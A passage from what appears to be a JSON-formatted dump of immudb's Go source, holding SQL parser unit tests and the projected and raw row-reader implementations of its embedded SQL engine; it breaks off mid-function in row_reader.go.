SQLStmt\n\t}\n\n\tcases := []test{\n\t\t{\n\t\t\ttext: \"GRANT SELECT, INSERT, UPDATE, DELETE ON DATABASE defaultdb TO USER immudb\",\n\t\t\texpectedStmt: &AlterPrivilegesStmt{\n\t\t\t\tdatabase: \"defaultdb\",\n\t\t\t\tuser:     \"immudb\",\n\t\t\t\tprivileges: []SQLPrivilege{\n\t\t\t\t\tSQLPrivilegeDelete,\n\t\t\t\t\tSQLPrivilegeUpdate,\n\t\t\t\t\tSQLPrivilegeInsert,\n\t\t\t\t\tSQLPrivilegeSelect,\n\t\t\t\t},\n\t\t\t\tisGrant: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\ttext: \"REVOKE SELECT, INSERT, UPDATE, DELETE ON DATABASE defaultdb TO USER immudb\",\n\t\t\texpectedStmt: &AlterPrivilegesStmt{\n\t\t\t\tdatabase: \"defaultdb\",\n\t\t\t\tuser:     \"immudb\",\n\t\t\t\tprivileges: []SQLPrivilege{\n\t\t\t\t\tSQLPrivilegeDelete,\n\t\t\t\t\tSQLPrivilegeUpdate,\n\t\t\t\t\tSQLPrivilegeInsert,\n\t\t\t\t\tSQLPrivilegeSelect,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\ttext: \"GRANT ALL PRIVILEGES ON DATABASE defaultdb TO USER immudb\",\n\t\t\texpectedStmt: &AlterPrivilegesStmt{\n\t\t\t\tdatabase:   \"defaultdb\",\n\t\t\t\tuser:       \"immudb\",\n\t\t\t\tprivileges: allPrivileges,\n\t\t\t\tisGrant:    true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\ttext: \"REVOKE ALL PRIVILEGES ON DATABASE defaultdb TO USER immudb\",\n\t\t\texpectedStmt: &AlterPrivilegesStmt{\n\t\t\t\tdatabase:   \"defaultdb\",\n\t\t\t\tuser:       \"immudb\",\n\t\t\t\tprivileges: allPrivileges,\n\t\t\t},\n\t\t},\n\t}\n\n\tfor i, tc := range cases {\n\t\tt.Run(fmt.Sprintf(\"alter_privileges_%d\", i), func(t *testing.T) {\n\t\t\tstmts, err := ParseSQLString(tc.text)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, stmts, 1)\n\t\t\trequire.Equal(t, tc.expectedStmt, stmts[0])\n\t\t})\n\t}\n}\n\nfunc TestExpString(t *testing.T) {\n\texps := []string{\n\t\t\"(1 + 1) / (2 * 5 - 10) % 2\",\n\t\t\"@param LIKE 'pattern'\",\n\t\t\"((col1 AND (col2 < 10)) OR (@param = 3 AND (col4 = TRUE))) AND NOT (col5 = 'value' OR (2 + 2 != 4))\",\n\t\t\"CAST (func_call(1, 'two', 2.5) AS TIMESTAMP)\",\n\t\t\"col IN (TRUE, 1, 'test', 1.5)\",\n\t\t\"CASE WHEN in_stock THEN 'In Stock' END\",\n\t\t\"CASE WHEN 1 > 0 THEN 1 ELSE 0 END\",\n\t\t\"CASE WHEN is_active THEN 'active' WHEN is_expired THEN 'expired' ELSE 'active' END\",\n\t\t\"'text' LIKE 'pattern'\",\n\t\t\"'text' NOT LIKE 'pattern'\",\n\t\t\"EXTRACT(YEAR FROM ts)\",\n\t\t\"EXTRACT(MONTH FROM ts)\",\n\t\t\"EXTRACT(DAY FROM ts)\",\n\t\t\"EXTRACT(HOUR FROM ts)\",\n\t\t\"EXTRACT(MINUTE FROM ts)\",\n\t\t\"EXTRACT(SECOND FROM ts)\",\n\t}\n\n\tfor i, e := range exps {\n\t\tt.Run(fmt.Sprintf(\"test_expression_%d\", i+1), func(t *testing.T) {\n\t\t\texp, err := ParseExpFromString(e)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tparsedExp, err := ParseExpFromString(exp.String())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, exp, parsedExp)\n\t\t})\n\t}\n}\n\nfunc TestLogicOperatorPrecedence(t *testing.T) {\n\ttype testCase struct {\n\t\tinput    string\n\t\texpected string\n\t}\n\n\ttestCases := []testCase{\n\t\t// simple precedence\n\t\t{input: \"NOT true\", expected: \"(NOT true)\"},\n\t\t{input: \"true AND false OR true\", expected: \"((true AND false) OR true)\"},\n\t\t{input: \"NOT true AND false\", expected: \"((NOT true) AND false)\"},\n\t\t{input: \"NOT true OR false\", expected: \"((NOT true) OR false)\"},\n\n\t\t// parentheses override precedence\n\t\t{input: \"(true OR false) AND true\", expected: \"((true OR false) AND true)\"},\n\n\t\t// multiple NOTs\n\t\t{input: \"NOT NOT true AND false\", expected: \"((NOT (NOT true)) AND false)\"},\n\n\t\t// complex nesting\n\t\t{input: \"true AND (false OR (NOT false))\", expected: \"(true AND (false OR (NOT false)))\"},\n\t\t{input: \"NOT (true AND false) OR true\", expected: \"((NOT (true AND false)) OR true)\"},\n\n\t\t// AND/OR with nested groups\n\t\t{input: \"(true AND false) AND (true OR false)\", expected: \"((true AND false) AND (true OR false))\"},\n\t\t{input: \"(true OR false) OR (NOT (true AND false))\", expected: \"((true OR false) OR (NOT (true AND false)))\"},\n\n\t\t// deep nesting\n\t\t{input: \"(true AND (false OR (NOT true))) OR (NOT false)\", expected: \"((true AND (false OR (NOT true))) OR (NOT false))\"},\n\n\t\t// chain of operators\n\t\t{input: \"true AND false OR true AND NOT false OR true\", expected: \"(((true AND false) OR (true AND (NOT false))) OR true)\"},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.input, func(t *testing.T) {\n\t\t\te, err := ParseExpFromString(tc.input)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, tc.expected, e.String())\n\t\t})\n\t}\n}\n\nfunc TestParseUnreservedKeywords(t *testing.T) {\n\ttype testCase struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t}\n\n\tunreservedKeywords := []string{\n\t\t\"admin\",\n\t\t\"of\",\n\t\t\"drop\",\n\t\t\"database\",\n\t\t\"snapshot\",\n\t\t\"index\",\n\t\t\"alter\",\n\t\t\"add\",\n\t\t\"rename\",\n\t\t\"constraint\",\n\t\t\"key\",\n\t\t\"grant\",\n\t\t\"revoke\",\n\t\t\"privileges\",\n\t\t\"begin\",\n\t\t\"transaction\",\n\t\t\"commit\",\n\t\t\"rollback\",\n\t\t\"insert\",\n\t\t\"delete\",\n\t\t\"update\",\n\t\t\"conflict\",\n\t\t\"if\",\n\t\t\"show\",\n\t\t\"tables\",\n\t\t\"year\",\n\t\t\"month\",\n\t\t\"day\",\n\t\t\"hour\",\n\t\t\"minute\",\n\t\t\"second\",\n\t\t\"users\",\n\t}\n\n\tcolNameKeywords := []string{\n\t\t\"between\",\n\t\t\"blob\",\n\t\t\"boolean\",\n\t\t\"exists\",\n\t\t\"extract\",\n\t\t\"float\",\n\t\t\"integer\",\n\t\t\"json\",\n\t\t\"timestamp\",\n\t\t\"values\",\n\t\t\"varchar\",\n\t}\n\n\tgetTableCases := func(kw string) []testCase {\n\t\treturn []testCase{\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"CREATE TABLE %s (id INTEGER PRIMARY KEY);\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&CreateTableStmt{\n\t\t\t\t\t\ttable:       kw,\n\t\t\t\t\t\tifNotExists: false,\n\t\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcolName:    \"id\",\n\t\t\t\t\t\t\t\tcolType:    IntegerType,\n\t\t\t\t\t\t\t\tnotNull:    true,\n\t\t\t\t\t\t\t\tprimaryKey: true,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"DROP TABLE %s;\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&DropTableStmt{\n\t\t\t\t\t\ttable: kw,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"CREATE INDEX ON %s (id)\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&CreateIndexStmt{\n\t\t\t\t\t\ttable: kw,\n\t\t\t\t\t\tcols:  []string{\"id\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"CREATE UNIQUE INDEX ON %s (id)\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&CreateIndexStmt{\n\t\t\t\t\t\ttable:  kw,\n\t\t\t\t\t\tunique: true,\n\t\t\t\t\t\tcols:   []string{\"id\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: \"DROP INDEX \" + kw + \".\" + \"id\",\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&DropIndexStmt{\n\t\t\t\t\t\ttable: kw,\n\t\t\t\t\t\tcols:  []string{\"id\"},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: \"ALTER TABLE \" + kw + \" ADD COLUMN id INTEGER NULL\",\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&AddColumnStmt{\n\t\t\t\t\t\ttable: kw,\n\t\t\t\t\t\tcolSpec: &ColSpec{\n\t\t\t\t\t\t\tcolName: \"id\",\n\t\t\t\t\t\t\tcolType: IntegerType,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"ALTER TABLE %s RENAME TO %s\", kw, kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&RenameTableStmt{\n\t\t\t\t\t\toldName: kw,\n\t\t\t\t\t\tnewName: kw,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"ALTER TABLE %s RENAME COLUMN timestamp TO ts\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&RenameColumnStmt{\n\t\t\t\t\t\ttable:   kw,\n\t\t\t\t\t\toldName: \"timestamp\",\n\t\t\t\t\t\tnewName: \"ts\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"ALTER TABLE %s DROP COLUMN timestamp\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&DropColumnStmt{\n\t\t\t\t\t\ttable:   kw,\n\t\t\t\t\t\tcolName: \"timestamp\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"ALTER TABLE %s DROP CONSTRAINT pk_constraint\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&DropConstraintStmt{\n\t\t\t\t\t\ttable:          kw,\n\t\t\t\t\t\tconstraintName: \"pk_constraint\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}\n\t}\n\n\tfor _, kw := range unreservedKeywords {\n\t\ttableCases := getTableCases(kw)\n\n\t\tfor _, tc := range tableCases {\n\t\t\tstmt, err := ParseSQLString(tc.input)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Equal(t, tc.expectedOutput, stmt)\n\t\t}\n\t}\n\n\tfor _, kw := range colNameKeywords {\n\t\ttableCases := getTableCases(kw)\n\n\t\tfor _, tc := range tableCases {\n\t\t\t_, err := ParseSQLString(tc.input)\n\t\t\trequire.Error(t, err)\n\t\t}\n\t}\n\n\tallColNameKeywords := append(unreservedKeywords, colNameKeywords...)\n\n\tcolCases := []testCase{}\n\n\tfor _, kw := range allColNameKeywords {\n\t\tcolCases = append(colCases, []testCase{\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"CREATE INDEX ON users (%s)\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&CreateIndexStmt{\n\t\t\t\t\t\ttable: \"users\",\n\t\t\t\t\t\tcols:  []string{kw},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"CREATE UNIQUE INDEX ON users (%s, %s)\", kw, kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&CreateIndexStmt{\n\t\t\t\t\t\tunique: true,\n\t\t\t\t\t\ttable:  \"users\",\n\t\t\t\t\t\tcols:   []string{kw, kw},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"DROP INDEX ON users (%s, %s)\", kw, kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&DropIndexStmt{\n\t\t\t\t\t\ttable: \"users\",\n\t\t\t\t\t\tcols:  []string{kw, kw},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: \"DROP INDEX users.\" + kw,\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&DropIndexStmt{\n\t\t\t\t\t\ttable: \"users\",\n\t\t\t\t\t\tcols:  []string{kw},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"ALTER TABLE users RENAME COLUMN %s TO %s\", kw, kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&RenameColumnStmt{\n\t\t\t\t\t\ttable:   \"users\",\n\t\t\t\t\t\toldName: kw,\n\t\t\t\t\t\tnewName: kw,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: \"ALTER TABLE users DROP COLUMN \" + kw,\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&DropColumnStmt{\n\t\t\t\t\t\ttable:   \"users\",\n\t\t\t\t\t\tcolName: kw,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"CREATE TABLE users (%s INTEGER)\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&CreateTableStmt{\n\t\t\t\t\t\ttable: \"users\",\n\t\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tcolName: kw,\n\t\t\t\t\t\t\t\tcolType: IntegerType,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"INSERT INTO users (%s) VALUES ('')\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\t\ttableRef: &tableRef{table: \"users\"},\n\t\t\t\t\t\tcols:     []string{kw},\n\t\t\t\t\t\tisInsert: true,\n\t\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\t\trows: []*RowSpec{{Values: []ValueExp{NewVarchar(\"\")}}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tinput: fmt.Sprintf(\"UPSERT INTO users (%s) VALUES ('')\", kw),\n\t\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\t\ttableRef: &tableRef{table: \"users\"},\n\t\t\t\t\t\tcols:     []string{kw},\n\t\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\t\trows: []*RowSpec{{Values: []ValueExp{NewVarchar(\"\")}}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t}...,\n\t\t)\n\t}\n\n\tfor _, tc := range colCases {\n\t\tstmt, err := ParseSQLString(tc.input)\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, tc.expectedOutput, stmt)\n\t}\n}\n"
  },
  {
    "path": "embedded/sql/proj_row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"fmt\"\n)\n\ntype projectedRowReader struct {\n\trowReader  RowReader\n\ttableAlias string\n\n\ttargets []TargetEntry\n}\n\nfunc newProjectedRowReader(ctx context.Context, rowReader RowReader, tableAlias string, targets []TargetEntry) (*projectedRowReader, error) {\n\t// case: SELECT *\n\tif len(targets) == 0 {\n\t\tcols, err := rowReader.Columns(ctx)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif len(cols) == 0 {\n\t\t\treturn nil, fmt.Errorf(\"SELECT * with no tables specified is not valid\")\n\t\t}\n\n\t\tfor _, col := range cols {\n\t\t\ttargets = append(targets, TargetEntry{\n\t\t\t\tExp: &ColSelector{\n\t\t\t\t\ttable: col.Table,\n\t\t\t\t\tcol:   col.Column,\n\t\t\t\t},\n\t\t\t})\n\t\t}\n\t}\n\n\treturn &projectedRowReader{\n\t\trowReader:  rowReader,\n\t\ttableAlias: tableAlias,\n\t\ttargets:    targets,\n\t}, nil\n}\n\nfunc (pr *projectedRowReader) onClose(callback func()) {\n\tpr.rowReader.onClose(callback)\n}\n\nfunc (pr *projectedRowReader) Tx() *SQLTx {\n\treturn pr.rowReader.Tx()\n}\n\nfunc (pr *projectedRowReader) TableAlias() string {\n\tif pr.tableAlias == \"\" {\n\t\treturn pr.rowReader.TableAlias()\n\t}\n\n\treturn pr.tableAlias\n}\n\nfunc (pr *projectedRowReader) OrderBy() []ColDescriptor {\n\treturn pr.rowReader.OrderBy()\n}\n\nfunc (pr *projectedRowReader) ScanSpecs() *ScanSpecs {\n\treturn pr.rowReader.ScanSpecs()\n}\n\nfunc (pr *projectedRowReader) Columns(ctx context.Context) ([]ColDescriptor, error) {\n\tcolsBySel, err := pr.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolsByPos := make([]ColDescriptor, len(pr.targets))\n\n\tfor i, t := range pr.targets {\n\t\tvar aggFn, table, col string = \"\", pr.rowReader.TableAlias(), \"\"\n\t\tif s, ok := t.Exp.(Selector); ok {\n\t\t\taggFn, table, col = s.resolve(pr.rowReader.TableAlias())\n\t\t}\n\n\t\tif pr.tableAlias != \"\" {\n\t\t\ttable = pr.tableAlias\n\t\t}\n\n\t\tif t.As != \"\" {\n\t\t\tcol = t.As\n\t\t} else if aggFn != \"\" || col == \"\" {\n\t\t\tcol = fmt.Sprintf(\"col%d\", i)\n\t\t}\n\t\taggFn = \"\"\n\n\t\tcolsByPos[i] = ColDescriptor{\n\t\t\tAggFn:  aggFn,\n\t\t\tTable:  table,\n\t\t\tColumn: col,\n\t\t}\n\t\tencSel := colsByPos[i].Selector()\n\t\tcolsByPos[i].Type = colsBySel[encSel].Type\n\t}\n\treturn colsByPos, nil\n}\n\nfunc (pr *projectedRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\tdsColDescriptors, err := pr.rowReader.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolDescriptors := make(map[string]ColDescriptor, len(pr.targets))\n\temptyParams := make(map[string]string)\n\n\tfor i, t := range pr.targets {\n\t\tvar aggFn, table, col string = \"\", pr.rowReader.TableAlias(), \"\"\n\t\tif s, ok := t.Exp.(Selector); ok {\n\t\t\taggFn, table, col = s.resolve(pr.rowReader.TableAlias())\n\t\t}\n\n\t\tsqlType, err := t.Exp.inferType(dsColDescriptors, emptyParams, pr.rowReader.TableAlias())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif pr.tableAlias != \"\" {\n\t\t\ttable = pr.tableAlias\n\t\t}\n\n\t\tif t.As != \"\" {\n\t\t\tcol = t.As\n\t\t} else if aggFn != \"\" || col == \"\" {\n\t\t\tcol = fmt.Sprintf(\"col%d\", i)\n\t\t}\n\t\taggFn = \"\"\n\n\t\tdes := ColDescriptor{\n\t\t\tAggFn:  aggFn,\n\t\t\tTable:  table,\n\t\t\tColumn: col,\n\t\t\tType:   sqlType,\n\t\t}\n\t\tcolDescriptors[des.Selector()] = des\n\t}\n\treturn colDescriptors, nil\n}\n\nfunc (pr *projectedRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\tif err := pr.rowReader.InferParameters(ctx, params); err != nil {\n\t\treturn err\n\t}\n\n\tcols, err := pr.rowReader.colsBySelector(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, ex := range pr.targets {\n\t\t_, err = ex.Exp.inferType(cols, params, pr.TableAlias())\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (pr *projectedRowReader) Parameters() map[string]interface{} {\n\treturn pr.rowReader.Parameters()\n}\n\nfunc (pr *projectedRowReader) Read(ctx context.Context) (*Row, error) {\n\trow, err := pr.rowReader.Read(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tprow := &Row{\n\t\tValuesByPosition: make([]TypedValue, len(pr.targets)),\n\t\tValuesBySelector: make(map[string]TypedValue, len(pr.targets)),\n\t}\n\n\tfor i, t := range pr.targets {\n\t\te, err := t.Exp.substitute(pr.Parameters())\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"%w: when evaluating WHERE clause\", err)\n\t\t}\n\n\t\tv, err := e.reduce(pr.Tx(), row, pr.rowReader.TableAlias())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tvar aggFn, table, col string = \"\", pr.rowReader.TableAlias(), \"\"\n\t\tif s, ok := t.Exp.(Selector); ok {\n\t\t\taggFn, table, col = s.resolve(pr.rowReader.TableAlias())\n\t\t}\n\n\t\tif pr.tableAlias != \"\" {\n\t\t\ttable = pr.tableAlias\n\t\t}\n\n\t\tif t.As != \"\" {\n\t\t\tcol = t.As\n\t\t} else if aggFn != \"\" || col == \"\" {\n\t\t\tcol = fmt.Sprintf(\"col%d\", i)\n\t\t}\n\n\t\tprow.ValuesByPosition[i] = v\n\t\tprow.ValuesBySelector[EncodeSelector(\"\", table, col)] = v\n\t}\n\treturn prow, nil\n}\n\nfunc (pr *projectedRowReader) Close() error {\n\treturn pr.rowReader.Close()\n}\n"
  },
  {
    "path": "embedded/sql/row_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n)\n\ntype RowReader interface {\n\tTx() *SQLTx\n\tTableAlias() string\n\tParameters() map[string]interface{}\n\tRead(ctx context.Context) (*Row, error)\n\tClose() error\n\tColumns(ctx context.Context) ([]ColDescriptor, error)\n\tOrderBy() []ColDescriptor\n\tScanSpecs() *ScanSpecs\n\tInferParameters(ctx context.Context, params map[string]SQLValueType) error\n\tcolsBySelector(ctx context.Context) (map[string]ColDescriptor, error)\n\tonClose(func())\n}\n\ntype ScanSpecs struct {\n\tIndex             *Index\n\trangesByColID     map[uint32]*typedValueRange\n\tIncludeHistory    bool\n\tIncludeTxMetadata bool\n\tDescOrder         bool\n\tgroupBySortExps   []*OrdExp\n\torderBySortExps   []*OrdExp\n}\n\nfunc (s *ScanSpecs) extraCols() int {\n\tn := 0\n\tif s.IncludeHistory {\n\t\tn++\n\t}\n\n\tif s.IncludeTxMetadata {\n\t\tn++\n\t}\n\treturn n\n}\n\ntype Row struct {\n\tValuesByPosition []TypedValue\n\tValuesBySelector map[string]TypedValue\n}\n\n// rows are selector-compatible if both rows have the same assigned value for all specified selectors\nfunc (row *Row) compatible(aRow *Row, selectors []*ColSelector, table string) (bool, error) {\n\tfor _, sel := range selectors {\n\t\tc := EncodeSelector(sel.resolve(table))\n\n\t\tval1, ok := row.ValuesBySelector[c]\n\t\tif !ok {\n\t\t\treturn false, ErrInvalidColumn\n\t\t}\n\n\t\tval2, ok := aRow.ValuesBySelector[c]\n\t\tif !ok {\n\t\t\treturn false, ErrInvalidColumn\n\t\t}\n\n\t\tcmp, err := val1.Compare(val2)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\tif cmp != 0 {\n\t\t\treturn false, nil\n\t\t}\n\t}\n\n\treturn true, nil\n}\n\nfunc (row *Row) digest(cols []ColDescriptor) (d [sha256.Size]byte, err error) {\n\th := sha256.New()\n\n\tfor i, v := range row.ValuesByPosition {\n\t\tvar b [4]byte\n\t\tbinary.BigEndian.PutUint32(b[:], uint32(i))\n\t\th.Write(b[:])\n\n\t\t_, isNull := v.(*NullValue)\n\t\tif isNull {\n\t\t\tcontinue\n\t\t}\n\n\t\tencVal, err := EncodeValue(v, v.Type(), 0)\n\t\tif err != nil {\n\t\t\treturn d, err\n\t\t}\n\n\t\th.Write(encVal)\n\t}\n\n\tcopy(d[:], h.Sum(nil))\n\n\treturn\n}\n\ntype rawRowReader struct {\n\ttx         *SQLTx\n\ttable      *Table\n\ttableAlias string\n\tcolsByPos  []ColDescriptor\n\tcolsBySel  map[string]ColDescriptor\n\tscanSpecs  *ScanSpecs\n\n\t// defines a sub-range a transactions based on a combination of tx IDs and timestamps\n\t// the query is resolved only taking into consideration that range of transactioins\n\tperiod period\n\n\t// underlying store supports reading entries within a range of txs\n\t// the range is calculated based on the period stmt, which is included here to support\n\t// lazy evaluation when parameters are available\n\ttxRange *txRange\n\n\tparams map[string]interface{}\n\n\treader          store.KeyReader\n\tonCloseCallback func()\n}\n\ntype txRange struct {\n\tinitialTxID uint64\n\tfinalTxID   uint64\n}\n\ntype ColDescriptor struct {\n\tAggFn  string\n\tTable  string\n\tColumn string\n\tType   SQLValueType\n}\n\nfunc (d *ColDescriptor) Selector() string {\n\treturn EncodeSelector(d.AggFn, d.Table, d.Column)\n}\n\ntype emptyKeyReader struct {\n}\n\nfunc (r emptyKeyReader) Read(ctx context.Context) (key []byte, val store.ValueRef, err error) {\n\treturn nil, nil, store.ErrNoMoreEntries\n}\n\nfunc (r emptyKeyReader) ReadBetween(ctx context.Context, initialTxID uint64, finalTxID uint64) (key []byte, val store.ValueRef, err error) {\n\treturn nil, nil, store.ErrNoMoreEntries\n}\n\nfunc (r emptyKeyReader) Reset() error {\n\treturn nil\n}\n\nfunc (r emptyKeyReader) Close() error {\n\treturn nil\n}\n\nfunc newRawRowReader(tx *SQLTx, params map[string]interface{}, table *Table, period period, tableAlias string, scanSpecs *ScanSpecs) (*rawRowReader, error) {\n\tif table == nil || scanSpecs == nil || scanSpecs.Index == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\trSpec, err := keyReaderSpecFrom(tx.engine.prefix, table, scanSpecs)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar r store.KeyReader\n\n\tif table.name == \"pg_type\" {\n\t\tr = &emptyKeyReader{}\n\t} else {\n\t\tr, err = tx.newKeyReader(*rSpec)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif tableAlias == \"\" {\n\t\ttableAlias = table.name\n\t}\n\n\tnCols := len(table.cols) + scanSpecs.extraCols()\n\n\tcolsByPos := make([]ColDescriptor, nCols)\n\tcolsBySel := make(map[string]ColDescriptor, nCols)\n\n\toff := 0\n\tif scanSpecs.IncludeHistory {\n\t\tcolDescriptor := ColDescriptor{\n\t\t\tTable:  tableAlias,\n\t\t\tColumn: revCol,\n\t\t\tType:   IntegerType,\n\t\t}\n\n\t\tcolsByPos[off] = colDescriptor\n\t\tcolsBySel[colDescriptor.Selector()] = colDescriptor\n\t\toff++\n\t}\n\n\tif scanSpecs.IncludeTxMetadata {\n\t\tcolDescriptor := ColDescriptor{\n\t\t\tTable:  tableAlias,\n\t\t\tColumn: txMetadataCol,\n\t\t\tType:   JSONType,\n\t\t}\n\n\t\tcolsByPos[off] = colDescriptor\n\t\tcolsBySel[colDescriptor.Selector()] = colDescriptor\n\t\toff++\n\t}\n\n\tfor i, c := range table.cols {\n\t\tcolDescriptor := ColDescriptor{\n\t\t\tTable:  tableAlias,\n\t\t\tColumn: c.colName,\n\t\t\tType:   c.colType,\n\t\t}\n\n\t\tcolsByPos[off+i] = colDescriptor\n\t\tcolsBySel[colDescriptor.Selector()] = colDescriptor\n\t}\n\n\treturn &rawRowReader{\n\t\ttx:         tx,\n\t\ttable:      table,\n\t\tperiod:     period,\n\t\ttableAlias: tableAlias,\n\t\tcolsByPos:  colsByPos,\n\t\tcolsBySel:  colsBySel,\n\t\tscanSpecs:  scanSpecs,\n\t\tparams:     params,\n\t\treader:     r,\n\t}, nil\n}\n\nfunc keyReaderSpecFrom(sqlPrefix []byte, table *Table, scanSpecs *ScanSpecs) (spec 